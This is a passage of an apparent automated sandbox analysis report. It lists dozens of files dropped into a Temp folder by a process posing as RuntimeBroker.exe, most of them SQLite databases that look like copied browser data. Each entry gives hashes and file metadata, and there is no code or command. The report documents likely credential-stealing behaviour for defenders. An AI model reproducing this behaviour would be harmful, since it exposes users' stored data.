SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QnVFgmSMns

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QnbKjZdnrQ

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\R0qqBR6ryB

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESD2D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6e8, 10 symbols, created Sat Nov 9 22:42:15 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	4.552923578997409
Encrypted:	false
SSDEEP:	24:HHbW97OFTfHxwKEsmN0luxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0++UZ:pFT6KhmyluOulajfqXSfbNtmh5Z
MD5:	567A602C621110FCA04096E19165069A
SHA1:	2973F1A1B38DD5D10C11BC58C38328E19AE56034
SHA-256:	113C4D333619F2B954B72FE890380FABA498480ED990F2C79EAFFE2A92F04E9E
SHA-512:	AB1F439BD2B915AF29305C92DDCDD16DD8B94BA74BD24436F812F0CD67BFDE1ED1E9B7144A4B5BFC53ABA7F8BC2553B0FC5DD468A1DC4128E8FDA88DF1817EFF
Malicious:	false
Preview:	L...G./g.............debug$S........8...................@..B.rsrc$01................d...........@..@.rsrc$02........p...x...............@..@........=....c:\Windows\System32\CSCCA613A2B92B2400B95C3CB4E6C4E457D.TMP.....................r.av..t.y..............3.......C:\Users\user\AppData\Local\Temp\RESD2D.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...................... .......8.......................P.......................h.......................................................\|...............................................\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.

C:\Users\user\AppData\Local\Temp\RK9GazL5xg

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Rcd8eomZ1X

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RfqCgDL4vR

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\Rkh19xaeau

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\S1VVJiNtB1

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SEbqDu5fa8

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SGWBxYav1r

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SKcgWpX4OI

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SQJbIAVeAP

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SXvxc9FpFt

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SYujowP7sC

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SZL2h8nM4i

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ShsO6Q7Ngy

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\T03IyqWzSF

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\T6Rprryudl

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TFiPpLwjTd

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TJ3kyvBKKZ

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ta7Bd3fFcF

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TuEnoq7j09

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UKupSnO1HR

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UOd7qNKtpd

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UZxCCivcGy

Download File

